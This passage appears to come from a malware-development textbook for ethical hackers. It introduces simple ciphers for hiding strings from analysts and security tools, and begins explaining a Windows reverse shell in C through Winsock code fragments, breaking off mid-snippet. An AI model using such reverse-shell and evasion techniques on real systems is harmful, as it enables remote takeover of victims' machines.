Decrypting malware – a practical implementation of simple ciphers
In this section, we’ll learn how to use simple ciphers for one of the most common tasks in malware development: hiding our strings from malware analysts and security solutions. We will use a simple reverse shell for Windows as a basis. Go to this book’s GitHub repository to access the code: https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter10/01-simple-reverse-shell/hack.c.
Let’s quickly explain this code logic. First of all, to make use of the Winsock API, the Winsock 2 header files must be included:
#include <winsock2.h> #include <stdio.h>
The process uses the Winsock DLL via the WSAStartup
function:
WSAStartup(MAKEWORD(2, 2), &wsaData);
After, a socket is created and a remote host connection is established:
// create socket wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int...